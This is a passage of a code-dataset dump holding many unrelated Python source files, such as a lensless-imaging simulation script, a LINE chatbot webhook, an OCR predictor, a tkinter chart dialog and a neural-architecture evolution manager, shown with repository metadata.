\n","repo_name":"k1h1a1n/novafresh_exim_export","sub_path":"exim/models/exim_shipments_igm.py","file_name":"exim_shipments_igm.py","file_ext":"py","file_size_in_byte":18525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"16949038304","text":"from waveprop.dataset_util import SimulatedDatasetFolder\nimport hydra\nfrom hydra.utils import to_absolute_path\nimport os\nfrom lensless.utils.io import load_psf\nimport torch\nfrom torchvision.transforms import ToTensor\nimport time\n\n\n@hydra.main(\n    version_base=None, config_path=\"../../configs\", config_name=\"simulate_torch_custom_dataset\"\n)\ndef simulate(config):\n\n    dataset = to_absolute_path(config.files.dataset)\n    if not os.path.isdir(dataset):\n        print(f\"No dataset found at {dataset}\")\n        try:\n            from torchvision.datasets.utils import download_and_extract_archive, download_url\n        except ImportError:\n            exit()\n        msg = \"Do you want to download the sample CelebA dataset (764KB)?\"\n\n        # default to yes if no input is given\n        valid = input(\"%s (Y/n) \" % msg).lower() != \"n\"\n        if valid:\n            url = \"https://drive.switch.ch/index.php/s/Q5OdDQMwhucIlt8/download\"\n            filename = \"celeb_mini.zip\"\n            download_and_extract_archive(\n                url, os.path.dirname(dataset), filename=filename, remove_finished=True\n            )\n\n    psf_fp = to_absolute_path(config.files.psf)\n    assert os.path.exists(psf_fp), f\"PSF {psf_fp} does not exist.\"\n\n    image_ext = config.files.image_ext\n    n_files = config.files.n_files\n    batch_size = config.files.batch_size\n    downsample = config.simulation.downsample\n    device_conv = config.device_conv\n\n    # check if gpu is available\n    if device_conv == \"cuda\" and torch.cuda.is_available():\n        print(\"Using GPU for convolution.\")\n        device_conv = \"cuda\"\n    else:\n        print(\"Using CPU for convolution.\")\n        device_conv = \"cpu\"\n\n    # load PSF\n    psf = load_psf(psf_fp, downsample=downsample)\n    psf_tensor = ToTensor()(psf[0])  # first depth\n\n    # create Pytorch dataset and dataloader\n    ds = SimulatedDatasetFolder(\n        path=dataset,\n        iamge_ext=image_ext,\n        n_files=n_files,\n        psf=psf_tensor,\n        device_conv=device_conv,\n        **config.simulation,\n    )\n    ds_loader = torch.utils.data.DataLoader(dataset=ds, batch_size=batch_size, shuffle=True)\n\n    # loop over batches\n    start_time = time.time()\n    for i, (x, target) in enumerate(ds_loader):\n\n        if i == 0:\n            print(\"Batch shape : \", x.shape)\n            print(\"Target shape : \", target.shape)\n            print(\"Batch device : \", x.device)\n\n    print(\"Time per batch : \", (time.time() - start_time) / len(ds_loader))\n    print(f\"Went through {len(ds_loader)} batches.\")\n\n\nif __name__ == \"__main__\":\n    simulate()\n","repo_name":"LCAV/LenslessPiCam","sub_path":"scripts/sim/torch_custom_dataset.py","file_name":"torch_custom_dataset.py","file_ext":"py","file_size_in_byte":2573,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"77"}
+{"seq_id":"18439645374","text":"from decimal import Decimal\nimport sys\nimport os\n\n\ndef get_current_directory():\n    if getattr(sys, \"frozen\", False):\n        # Frozen means the program is running as an exe\n        return os.path.dirname(sys.executable)\n\n    return os.path.dirname(__file__)\n\n\ndef normalize(number):\n    \"\"\"\n    Removes all trailing 0s, if there are any.\n    Returns a Decimal object of given number.\n    \"\"\"\n\n    number = str(number)\n    idx = 0\n    if \".\" in number:\n        for dec in reversed(number):\n            if dec == \"0\":\n                number = number[:-1]\n            else:\n                break\n\n    return Decimal(number)\n\n","repo_name":"markhilb/Avskjerming.Vindskjerming","sub_path":"AvskjermingGUI/src/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"31098876888","text":"import turtle\nfrom game_engine import Game\n\nCOLORS = [\n          '#f8fafc', # white\n          '#dc2626', # red\n          '#2563eb',# blue\n          '#020617', ]# black\n\nBLOCK_SIZE = 20\nFONT_SIZE = 20\nW,H = 600, 600\n\nclass GameWithGraphics(Game):\n    \n    def __init__(self, size, state_fn, game_colddown=200) -> None:\n        super().__init__(size, state_fn, game_colddown)\n        \n        self.member_turtles =[\n            self.__make_turtle_obj(obj) for obj in self.members\n        ]\n        \n        self.is_blocks_drawed = False # we will render blocks only once\n        \n        self.offset = size*BLOCK_SIZE*3/2 # used to center the board\n        \n        self.wn = turtle.Screen()\n        self.wn.setup(W, H)\n        self.wn.bgcolor(COLORS[-1])\n        self.wn.tracer(0)\n    \n    def __make_turtle_obj(self, mem_obj): # used for only members\n        \n        color = 1 if mem_obj.group == 'A' else 2\n        \n        t = turtle.Turtle('square')\n        t.index = mem_obj.index\n        t.speed(0)\n        t.color(COLORS[color])\n        t.penup()\n        \n        return t\n\n    def __draw_blocks(self):\n        for i in range(len(self.grid)):\n            for j in range(len(self.grid[0])):\n                if self.grid[i, j] == -1:\n                    t = turtle.Turtle('square')\n                    t.speed(0)\n                    t.color(COLORS[0])\n                    t.penup()\n                    t.goto(i*BLOCK_SIZE - self.offset, j*BLOCK_SIZE - self.offset)\n    \n    def __move_turtle_object(self, obj):\n        for i in range(3):\n            obj_cord = self.members[obj.index].cord\n            \n            obj.goto(obj_cord[0]*BLOCK_SIZE - self.offset, obj_cord[1]*BLOCK_SIZE - self.offset)\n    \n    def reset(self):\n        if not self.is_blocks_drawed:\n            self.__draw_blocks()\n            self.is_blocks_drawed = True\n\n        for obj in self.member_turtles:\n            self.__move_turtle_object(obj)\n            \n        return super().reset()\n    \n    def step(self, moves):\n        for obj in self.member_turtles:\n            self.__move_turtle_object(obj)\n        \n        self.wn.update()\n        \n        return super().step(moves)","repo_name":"ostadnavid/mutliagent_tigertodeer","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2163,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"4695953868","text":"from simple_rest_client import exceptions\n\nfrom vgs.sdk.errors import RouteNotValidError\nfrom vgs.sdk.serializers import dump_yaml, update_and_normalize, Literal\n\n\ndef dump_all_routes(api):\n    result = api.routes.list()\n    body = result.body\n\n    results = normalize(body[\"data\"])\n\n    updated = {\n        \"version\": 1,\n        \"data\": results,\n    }\n\n    return dump_yaml(updated)\n\n\ndef sync_all_routes(api, dump_data, route_process_listener=None):\n    try:\n        route_update_response = update_and_normalize(\n            dump_data,\n            route_process_listener,\n            lambda route_id, payload: api.routes.update(route_id, body=payload),\n            normalize,\n        )\n        return route_update_response\n    except exceptions.ClientError as e:\n        error_msg = \"\\n\".join([error[\"detail\"] for error in e.response.body[\"errors\"]])\n        raise RouteNotValidError(error_msg)\n\n\ndef normalize(results):\n    # https://stackoverflow.com/a/8641732/6084\n    # this `literal` function will ensure that we get a multi line string\n    for result in results:\n        if \"attributes\" not in result:\n            continue\n\n        for filter_item in result[\"attributes\"][\"entries\"]:\n            if isinstance(filter_item[\"operations\"], str):\n                filter_item[\"operations\"] = Literal(filter_item[\"operations\"])\n    return results\n","repo_name":"yuriyshafranyuk1/vgs-api-client-python","sub_path":"src/vgs/sdk/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"77"}
+{"seq_id":"70689031288","text":"import logging\nimport json\nimport boto3\n\n__log = logging.getLogger()\n\ndef handle(event, context):\n    \n    __log.info(json.dumps(event, indent=4))\n\n    sqs = boto3.client('sqs')\n\n    queue_url = 'https://sqs.us-east-1.amazonaws.com/175898361931/poc-elasticache-sqs-destination'\n\n    response = sqs.send_message(\n        QueueUrl=queue_url,\n        DelaySeconds=10,\n        MessageAttributes={},\n        MessageBody=json.dumps({\n            'task_type': 'WARM_UP_CACHE'\n        })\n    )\n\n    return {\n        'statusCode': 200,\n        'body': {\n            'task_type': 'WARM_UP_CACHE',\n            'message_id': response['MessageId']\n        }\n    }","repo_name":"wfercosta/poc-warm-elasticache-springboot","sub_path":"app/functions/fn-transform-sns-to-task/src/function/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"30799466384","text":"from flask import Flask, request\n\n# 載入 json 標準函式庫，處理回傳的資料格式\nimport json\n\n# 載入 LINE Message API 相關函式庫\nfrom linebot import LineBotApi, WebhookHandler\nfrom linebot.exceptions import InvalidSignatureError\nfrom linebot.models import MessageEvent, TextMessage, TextSendMessage\nimport openai\n\nCHANNEL_ACCESS_TOKEN = ''\nCHANNEL_SECRET = ''\n\nmessages = [{\"role\": \"system\", \"content\": \"You are a helpful assistant\"}]\napp = Flask(__name__)\n\n@app.route(\"/callback\", methods=['POST'])\ndef linebot():\n    body = request.get_data(as_text=True)                    # 取得收到的訊息內容\n    try:\n        json_data = json.loads(body)                         # json 格式化訊息內容\n        line_bot_api = LineBotApi(CHANNEL_ACCESS_TOKEN)              # 確認 token 是否正確\n        handler = WebhookHandler(CHANNEL_SECRET)                     # 確認 secret 是否正確\n        signature = request.headers['X-Line-Signature']      # 加入回傳的 headers\n        handler.handle(body, signature)                      # 綁定訊息回傳的相關資訊\n        tk = json_data['events'][0]['replyToken']            # 取得回傳訊息的 Token\n        type = json_data['events'][0]['message']['type']     # 取得 LINe 收到的訊息類型\n        if type=='text':\n            msg = json_data['events'][0]['message']['text']  # 取得 LINE 收到的文字訊息\n            print(msg)                                       # 印出內容\n            reply = msg\n        else:\n            reply = '你傳的不是文字呦～'\n        print(reply)\n        line_bot_api.reply_message(tk,TextSendMessage(reply))# 回傳訊息\n    except:\n        print(body)                                          # 如果發生錯誤，印出收到的內容\n    return 'OK'       \n\ndef send_remind_msg(text):\n    url = 'https://api.line.me/v2/bot/message/push'\n    headers = {\n        'Content-Type': 'application/json; charset=UTF-8',\n        'Authorization': 'Bearer ' + CHANNEL_ACCESS_TOKEN,\n    }\n    payload = {\n        'to': group_id,\n        'messages': format_text_message(text),\n    }\n    response = requests.post(url, headers=headers, data=json.dumps(payload))\n\ndef sendLineFlexMessage(text):\n    message = {\n        \"type\": \"flex\",\n        \"altText\": (current_date.month + 1) + \"/\" + current_date.day + \"請假名單\",\n        \"contents\": {\n            \"type\": \"bubble\",\n            \"body\": {\n                \"type\": \"box\",\n                \"layout\": \"vertical\",\n                \"contents\": [\n                    {\n                        \"type\": \"text\",\n                        \"text\": (current_date.month + 1) + \"/\" + current_date.day + \"請假名單\",\n                        \"weight\": \"bold\",\n                        \"size\": \"xl\"\n                    },\n                    {\n                        \"type\": \"box\",\n                        \"layout\": \"vertical\",\n                        \"margin\": \"lg\",\n                        \"spacing\": \"sm\",\n                        \"contents\": [\n                            {\n                                \"type\": \"box\",\n                                \"layout\": \"horizontal\",\n                                \"spacing\": \"sm\",\n                                \"contents\": [\n                                    {\n                                        \"type\": \"text\",\n                                        \"size\": \"sm\",\n                                        \"flex\": 1,\n                                        \"text\": text,\n                                        \"wrap\": True\n                                    }\n                                ]\n                            }\n                        ]\n                    }\n                ]\n            }\n        }\n    }\n    payload = {\n        \"to\": group_id, # 请填写你要发送的用户 ID\n        \"messages\": [message]\n    }\n    headers = {\n        \"Authorization\": \"Bearer \" + CHANNEL_ACCESS_TOKEN\n    }\n    response = requests.post(\"https://api.line.me/v2/bot/message/push\", headers=headers, data=json.dumps(payload))                                       # 驗證 Webhook 使用，不能省略\n\n\nif __name__ == \"__main__\":\n    app.run()\n","repo_name":"ColaChiang/Weather-Line-Bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"14713742454","text":"from VC4OCRNet import VC4OCRNet\r\nimport sys \r\nimport numpy as np\r\nfrom OCRCommon import MODEL_WEIGHTS_FILENAME, VC_WIDTH, VC_HEIGHT, VC_OCR_CHINNELS, CLASS_TO_NAME\r\nfrom PIL import Image\r\nfrom matplotlib import pyplot as plt\r\n\r\nif __name__ == \"__main__\":\r\n    ocrnet = VC4OCRNet()\r\n    ocrnet.load(MODEL_WEIGHTS_FILENAME)\r\n\r\n    if len(sys.argv) > 1:\r\n        filename = sys.argv[1]\r\n        X = np.ndarray(shape=(1, VC_HEIGHT, VC_WIDTH, VC_OCR_CHINNELS))\r\n        img = None\r\n        if VC_OCR_CHINNELS == 3:\r\n            img = Image.open(filename).convert('RGB') \r\n        elif VC_OCR_CHINNELS == 1:\r\n            img = Image.open(filename).convert('L')\r\n        else:\r\n            print(\"Unsupported format\")\r\n            exit(0)\r\n        X[0, :, :, :] = (np.array(img).astype('float32')).reshape(VC_HEIGHT, VC_WIDTH, VC_OCR_CHINNELS) / 255.0\r\n        img.close()\r\n        Y = ocrnet.predict(X)[0]\r\n        ans = ''.join([CLASS_TO_NAME[c] for c in np.argmax(Y, axis=1)])\r\n        print(ans)\r\n        plt.figure()\r\n        plt.imshow(X[0, :, :, :])\r\n        plt.title(\"OCR predicts: {}\".format(ans))\r\n        plt.show()\r\n","repo_name":"wenxin0319/QR-code-recognition-OCR","sub_path":"OCR.py","file_name":"OCR.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"28115553908","text":"import tkinter as tk\n\nfrom pathlib import Path\nfrom typing import Optional\n\nfrom PIL import Image, ImageTk\n\nfrom dionysus_app.UI_menus.UI_functions import save_as_dialogue\n\n\ndef save_chart_dialogue(default_chart_name: str,\n                        class_save_folder_path: Path) -> Optional[Path]:\n    \"\"\"\n    Calls save as dialogue to get user input for chart image file save\n    name and location. Supplies defaults, returns user chosen path, or\n    None if user cancels save.\n\n    :param default_chart_name: str\n    :param class_save_folder_path: Path\n    :return: Path or None\n    \"\"\"\n    class_save_folder_str = str(class_save_folder_path)\n    return save_as_dialogue(title_str='Save chart image as:',\n                            filetypes=[('.png', '*.png'), (\"all files\", \"*.*\")],\n                            suggested_filename=default_chart_name,\n                            start_dir=class_save_folder_str\n                            )\n\n\ndef display_image_save_as(chart_image_path: Path) -> bool:\n    \"\"\"\n    Displays given image in a window titled with the default filename.\n\n    Supplies a button \"Save as\" below, which quits the window. Save as\n    dialogue is called separately (ideally directly subsequently, from\n    a UI perspective).\n\n    Returns a bool based on whether user desires to save image, as\n    indicated by clicking \"Save as\" button or clicking 'x' to quit the\n    image display window.\n\n    :param chart_image_path: Path object.\n    :return: bool\n    \"\"\"\n    root = tk.Tk()\n    root.title(chart_image_path.name)\n    root.geometry(\"960x580\")  # Half dimensions, about a quarter of full image.\n\n    image_display = ImageDisplay(image_path=chart_image_path, master=root)\n    user_did_not_cancel = True\n\n    def user_cancels() -> None:\n        \"\"\"\n        Callback where user quit/clicked x on the image display window.\n\n        Register by changing user_did_not_cancel to False.\n        Quit the root window, as it will not be closed by the save-as\n        button click handler in ImageDisplay.\n        \"\"\"\n        user_did_not_cancel = False\n        # Destroy window:\n        root.quit()\n\n    root.protocol(\"WM_DELETE_WINDOW\", user_cancels)\n\n    root.mainloop()\n    user_wants_to_save = user_did_not_cancel and image_display.save_as_button_clicked\n    # Destroy tk instance.\n    root.destroy()\n    return user_wants_to_save\n\n\nclass ImageDisplay(tk.Frame):\n    def __init__(self, image_path: Path|None = None, master=None) -> None:\n        super().__init__(master)\n        self.master = master\n        self.save_as_button_clicked = False\n\n        if image_path:\n            self.image_path = image_path\n            self.pack()\n            self.create_image_and_button()\n        # else:\n        #     pass  # don't instantiate?\n\n    def create_image_and_button(self) -> None:\n        self.create_image_widget()\n        self.create_save_as_button_widget()\n\n    def create_image_widget(self) -> None:\n        self.full_chart_image = Image.open(self.image_path)\n        self.display_sized_image = self.full_chart_image.resize((960, 540), Image.ANTIALIAS)\n\n        self.display_image = ImageTk.PhotoImage(self.display_sized_image, master=self.master)\n        self.image_panel = tk.Label(self, image=self.display_image)\n        self.image_panel.pack(side=\"top\", fill=\"both\", expand=True)\n\n    def create_save_as_button_widget(self) -> None:\n        self.save_as_button = tk.Button(self, text=\"Save as\", font=('Arial', 24),\n                                        command=self.register_save_as_click)\n        self.save_as_button.pack(side=\"bottom\")\n\n    def register_save_as_click(self) -> None:\n        self.save_as_button_clicked = True\n        self.quit()\n","repo_name":"toonarmycaptain/dionysus","sub_path":"dionysus_app/UI_menus/chart_generator/create_chart_UI.py","file_name":"create_chart_UI.py","file_ext":"py","file_size_in_byte":3677,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"77"}
+{"seq_id":"47563979","text":"# -*- coding: utf-8 -*-\n\nfrom config import *\n\nprint(Color(\n    '{autored}[{/red}{autoyellow}+{/yellow}{autored}]{/red} {autocyan}  inline_help.py importado.{/cyan}'))\n\n\n@bot.inline_handler(lambda query: query.query.lower() == 'help' or query.query == '' )\ndef query_help(q):\n    cid = q.from_user.id\n    if is_banned(cid):\n        return None\n    txt = responses['inline_help_1'][lang(cid)]\n    for x, y in responses['inline_help_2'][lang(cid)].items():\n        txt += f'\\n`@{bot_username} ' + x + y\n    aux = types.InlineQueryResultArticle(\n        '1',\n        responses['inline_help_t'][\n            lang(cid)],\n        types.InputTextMessageContent(\n            txt,\n            parse_mode=\"Markdown\"),\n        description=responses['help_2'][\n            lang(cid)]['inline'],\n        thumb_url='http://i.imgur.com/IRTLKz4.jpg')\n    bot.answer_inline_query(q.id, [aux], cache_time=1)\n","repo_name":"i32ropie/lol","sub_path":"plugins/inline_help.py","file_name":"inline_help.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"77"}
+{"seq_id":"38812529893","text":"from PIL import Image\r\n\r\ndef image2txt():\r\n    image = Image.open(\"01.png\")\r\n    zom = image.size[0]/image.size[1]\r\n    # print(zom)\r\n    image_out = image.convert(\"L\").resize((int(300*zom),int(300)))# 表示灰色,resize重定义图片大小\r\n    # image_out.show()\r\n    width, height = image_out.size\r\n    print(image_out.size)\r\n\r\n    texts = \"\"\r\n    asciis = \"%#&^@$.* \"\r\n\r\n    for i in range(height):\r\n        for j in range(width):\r\n            pixel = image_out.getpixel((j,i))\r\n            texts += asciis[int(pixel / 255 * 8)]\r\n        texts += \"\\n\"\r\n    with open(\"01.txt\",\"w\") as f:\r\n        f.write(texts)\r\n\r\nif __name__=='__main__':\r\n    image2txt()","repo_name":"Jstar49/Image2Txt","sub_path":"Image2txt.py","file_name":"Image2txt.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"21148889567","text":"import torch\nimport matplotlib.pyplot as plt\nimport hydra\nfrom tqdm import tqdm\nfrom pathlib import Path\nimport cv2\n\n# Model chosen from cfg.model\nimport histovision.models\n\nfrom .basetester import BaseTester\n\n\nclass BinaryTester(BaseTester):\n    def __init__(self, cfg):\n        super(BinaryTester, self).__init__()\n        self.cfg = cfg\n        self.net = hydra.utils.instantiate(self.cfg.model).to(self.cfg.device)\n        self.net.eval()\n        self.dataloader = hydra.utils.get_method(cfg.provider)('test', self.cfg)\n\n    def forward(self, images):\n        images = images.to(self.cfg.device)\n        probs = self.net(images).softmax(dim=1)\n        preds = probs.argmax(dim=1)\n\n        return preds                # [N H W] with {0..C-1}\n\n    def start(self):\n        # Load the net\n        checkpoint = torch.load(self.cfg.testing.checkpoint_path)\n        self.net.load_state_dict(checkpoint['state_dict'])\n        # Test the net\n        with torch.no_grad():\n            for i, images in tqdm(enumerate(self.dataloader), total=len(self.dataloader)):\n                preds = self.forward(images)\n                display(images, preds,\n                        save=self.cfg.testing.save_predictions,\n                        save_dir=self.cfg.testing.testing_dir,\n                        fname=f\"pred_{i}.png\")\n\n\ndef display(images, preds, save=False, save_dir=None, fname=None):\n    if not save:\n        # Take one (image, pred) pair from the batch\n        disp_pred = preds[0].cpu().numpy()\n        disp_image = images[0].permute(1, 2, 0).cpu().numpy()\n\n        fig, ax = plt.subplots(2, 1)\n        fig.tight_layout(pad=4.0)\n        plt.axis('off')\n        ax[0].imshow(disp_pred, \"gray\")\n        ax[1].imshow(disp_image)\n        ax[0].set_title(\"Prediction\")\n        ax[1].set_title(\"Image\")\n        # Display both image and prediction in one plot\n        plt.show()\n    else:\n        save_path = Path(save_dir) / fname\n        save_path.parent.mkdir(parents=True, exist_ok=True)\n        # If predictions are in a batch, save each one separately\n        if len(preds.size()) > 3:\n            for pred in preds:\n                print(pred.size(), preds.size())\n                cv2.imwrite(save_path, pred.permute(1, 2, 0).cpu().numpy())\n        # Else save the one prediction\n        else:\n            plt.axis('off')\n            plt.imshow(preds.permute(1, 2, 0).cpu().squeeze().numpy(), cmap=\"gray\")\n            plt.savefig(save_path, bbox_inches='tight')\n","repo_name":"rshwndsz/histovision","sub_path":"histovision/testers/binarytester.py","file_name":"binarytester.py","file_ext":"py","file_size_in_byte":2466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"40136265444","text":"from typing import List\r\n\r\n#\r\n# @lc app=leetcode id=498 lang=python3\r\n#\r\n# [498] Diagonal Traverse\r\n#\r\n\r\n# @lc code=start\r\n\r\n\r\nclass Solution:\r\n    def findDiagonalOrder(self, mat: List[List[int]]) -> List[int]:\r\n        M = len(mat)\r\n        N = len(mat[0])\r\n        i = 0\r\n        result = []\r\n        for d in range(M + N - 1):\r\n            i = 0 if d < N else i + 1\r\n            j = d if d < N else N - 1\r\n            diagonal = []\r\n            diagonal.append(mat[i][j])\r\n            for row in range(i + 1, M):\r\n                j -= 1\r\n                if (j < 0):\r\n                    break\r\n                diagonal.append(mat[row][j])\r\n            if (d % 2 == 0):\r\n                result.extend(reversed(diagonal))\r\n            else:\r\n                result.extend(diagonal)\r\n        return result\r\n# @lc code=end\r\n","repo_name":"psychobolt/leetcode-storybook","sub_path":"src/DataStructure/Array/2D/Medium/FindDiagonalOrder/python/findDiagonalOrder.py","file_name":"findDiagonalOrder.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"30965065408","text":"# Uses python3\nimport sys\nimport time\n\n\ndef min_data(data_list):\n    min_d = data_list[0]\n    for i in range(len(data_list)):\n        if min_d > data_list[i]:\n            min_d = data_list[i]\n    return min_d\n\n\ndef edit_distance(s, t):\n    n, m = len(s), len(t)\n    # print(n, m)\n    D = []   # n * m\n    for i in range(n + 1):\n        D.append([])\n        for j in range(m + 1):\n            D[i].append(0)\n    for i in range(n + 1):\n        D[i][0] = i\n    for j in range(m + 1):\n        D[0][j] = j\n\n    for j in range(1,  m + 1):\n        for i in range(1, n + 1):\n            insertion = D[i][j - 1] + 1\n            deletion = D[i - 1][j] + 1\n            match = D[i - 1][j - 1]\n            mismatch = D[i - 1][j - 1] + 1\n            if s[i - 1] == t[j - 1]:\n                D[i][j] = min_data([insertion, deletion, match])\n            else:\n                D[i][j] = min_data([insertion, deletion, mismatch])\n    return D[n][m]\n\n\nif __name__ == '__main__':\n    # read string 1\n    s = [x for x in input()]\n    # read string 2\n    t = [x for x in input()]\n    print(edit_distance(s, t))","repo_name":"yychrzh/algorithm_and_data_structure","sub_path":"week5/edit_distance.py","file_name":"edit_distance.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"70155475129","text":"import os\nimport math\nimport json\nimport random\nimport pickle\nimport fcntl\nfrom network import network, NotPossibleError\nfrom layer import *\nfrom xmlrpc.server import SimpleXMLRPCServer\nfrom functools import partial\nfrom multiprocessing import Pool\nimport logging\nimport subprocess\n\nlogger = logging.getLogger(__name__)\n\n\ndef cmd_output(cmd):\n    return subprocess.Popen([\"bash\", \"-c\", cmd], stdout=subprocess.PIPE)\\\n        .stdout.read().decode('utf-8').strip()\n\n\ndef get_score(path, name):\n    with open(os.path.join(path, name, 'cell.lua')) as fd:\n        try:\n            score = float(fd.readline().split(' ')[1].strip())\n        except ValueError:\n            score = -0.01\n    return (name, score)\n\n\nclass simpleFileSystemRuler:\n    def __init__(self, workdir, n_live, n_hidden):\n        self.workdir = workdir\n        self.n_hidden = n_hidden\n\n        dirs = os.listdir(workdir)\n        for i in ['live', 'dead', 'born']:\n            if i not in dirs:\n                os.mkdir(os.path.join(self.workdir, i))\n        live_path = os.path.join(self.workdir, 'live')\n        lock_path = os.path.join(self.workdir, 'lock')\n        if not os.path.exists(lock_path):\n            max_id = max([0]+[int(i) for i in os.listdir(live_path)])\n            with open(lock_path, 'w') as fd:\n                print(max_id + 1, file=fd)\n\n        self.lock = open(lock_path, 'r+')\n        # init first\n        dirs = os.listdir(live_path)\n        for _ in range(n_live - len(dirs)):\n            net = network(n_hidden)\n            nid = self.newId()\n            npath = os.path.join(self.workdir, 'live', nid)\n            os.mkdir(npath)\n            with open(os.path.join(npath, 'cell.pickle'), 'wb') as fd:\n                pickle.dump(net, fd)\n            net.writeLua(os.path.join(npath, 'cell.lua'))\n\n    def newId(self):\n        fcntl.flock(self.lock, fcntl.LOCK_EX)\n        self.lock.seek(0)\n        new_id = int(self.lock.read())\n        self.lock.seek(0)\n        self.lock.write(str(new_id + 1))\n        fcntl.flock(self.lock, fcntl.LOCK_UN)\n        return str(new_id)\n\n    def born(self):\n        live_path = os.path.join(self.workdir, 'live')\n        cands = os.listdir(os.path.join(live_path))\n        cand = random.choice(cands)\n        print('------born net from ' + cand)\n        pickle_path = os.path.join(live_path, cand, 'cell.pickle')\n        with open(pickle_path, 'rb') as fd:\n            net = pickle.load(fd)\n        net = self.mutate(net)\n        nid = self.newId()\n        print('------new id ', nid)\n        npath = os.path.join(self.workdir, 'born', nid)\n        os.mkdir(npath)\n        with open(os.path.join(npath, 'cell.pickle'), 'wb') as fd:\n            pickle.dump(net, fd)\n        os.system('cp -lr neuraltalk2-ERNN %s' % os.path.join(npath, 'code'))\n        net.writeLua(os.path.join(npath, 'code', 'cell.lua'))\n\n        return npath\n\n    def fight(self, path):\n        json_path = os.path.join(path, 'code', 'model_.json')\n        with open(json_path) as fd:\n            data = json.load(fd)\n        val_max = {}\n        val_data = data[\"val_lang_stats_history\"]\n        val_data = sorted(val_data.items(), key=lambda t: int(t[0]))\n\n        max_result = -0.01\n        val_max = {}\n        for k, v in val_data:\n            if v['CIDEr'] > max_result:\n                max_result = v['CIDEr']\n                for metric in v:\n                    val_max[metric] = v[metric]\n                val_max['pos_max'] = k\n        # write cell.lua\n        with open(os.path.join(path, 'cell.lua'), 'w') as fd:\n            print('-- %f' % max_result, file=fd)\n            print('--[', file=fd)\n            print(val_max)\n            print('--]', file=fd)\n            with open(os.path.join(path, 'code', 'cell.lua'), 'r') as cell:\n                fd.write(cell.read())\n\n        live_path = os.path.join(self.workdir, 'live')\n        fcntl.flock(self.lock, fcntl.LOCK_EX)\n        p = random.choice(os.listdir(live_path))\n        mpath = os.path.join(live_path, p)\n        with open(os.path.join(mpath, 'cell.lua')) as fd:\n            try:\n                data = float(fd.readline().split(' ')[1].strip())\n            except ValueError:\n                data = -0.01\n        min_live = data\n        min_path = mpath\n        if min_live <= max_result:\n            print('mv %s %s' % (min_path, os.path.join(self.workdir, 'dead')))\n            os.system('mv %s %s' %\n                      (min_path, os.path.join(self.workdir, 'dead')))\n            print('rm -rf %s' % os.path.join(path, 'code'))\n            os.system('rm -rf %s' % os.path.join(path, 'code'))\n            print('mv %s %s' % (path, live_path))\n            os.system('mv %s %s' % (path, live_path))\n        else:\n            print('rm -rf %s' % path)\n            os.system('rm -rf %s' % path)\n\n        fcntl.flock(self.lock, fcntl.LOCK_UN)\n\n    def mutate(self, net):\n        def randomLayer():\n            layers = ((linearLayer, 1),\n                      (reluLayer, 2),\n                      (dropoutLayer, 2),\n                      (sigmoidLayer, 1),\n                      (tanhLayer, 1),\n                      (caddLayer, 2),\n                      (cmulLayer, 1.5))\n            count = sum([i[1] for i in layers])\n            rv = random.random() * count\n            current_sum = 0\n            for i in layers:\n                current_sum = current_sum + i[1]\n                if current_sum > rv:\n                    return i[0]()\n\n        mutate_weight = [3, 5, 10, 13]\n\n        made = 0\n        changes = 1 + int(random.expovariate(1))\n        while made < changes:\n            try:\n                rv = random.randrange(mutate_weight[-1])\n                if rv < mutate_weight[0]:\n                    # add\n                    e = random.choice(net.G.edges())\n                    net.addNodeOnEdge(randomLayer(), e)\n                elif mutate_weight[0] <= rv < mutate_weight[1]:\n                    # replace\n                    node = net.randomNode(None)\n                    if not net.replaceNode(node, randomLayer()):\n                        print('mutate fail')\n                        made = made - 1\n                elif mutate_weight[1] <= rv < mutate_weight[2]:\n                    # change connect\n                    node = net.randomNode(None, withOutput=True)\n                    if not net.changeNodeConnect(node):\n                        print('mutate fail')\n                        made = made - 1\n                else:\n                    # remove\n                    node = net.randomNode(None)\n                    if not net.removeNode(node):\n                        print('mutate fail')\n                        made = made - 1\n                made = made + 1\n            except NotPossibleError:\n                print('not possible mutate random')\n                continue\n        net.simplify()\n        return net\n\n\nclass rpcFileSystemRuler:\n    def __init__(self, workdir, n_live, n_hidden):\n        # setup logger\n        fh = logging.FileHandler(os.path.join(workdir, 'log'), 'a')\n        fh.setLevel(logging.INFO)\n        logger.addHandler(fh)\n        ch = logging.StreamHandler()\n        ch.setLevel(logging.ERROR)\n        # create formatter and add it to the handlers\n        formatter = logging.Formatter('%(asctime)s [%(name)s %(levelname)s]' +\n                                      ' %(message)s')\n        ch.setFormatter(formatter)\n        logger.addHandler(ch)\n\n        code_hash = cmd_output(\"git log -n 1 | head -n 1| awk '{print $2}'\")\n        logger.error('Code Hash: {}'.format(code_hash))\n        mfile = cmd_output(\"git diff\")\n        logger.error(mfile)\n\n        self.workdir = workdir\n        self.n_hidden = 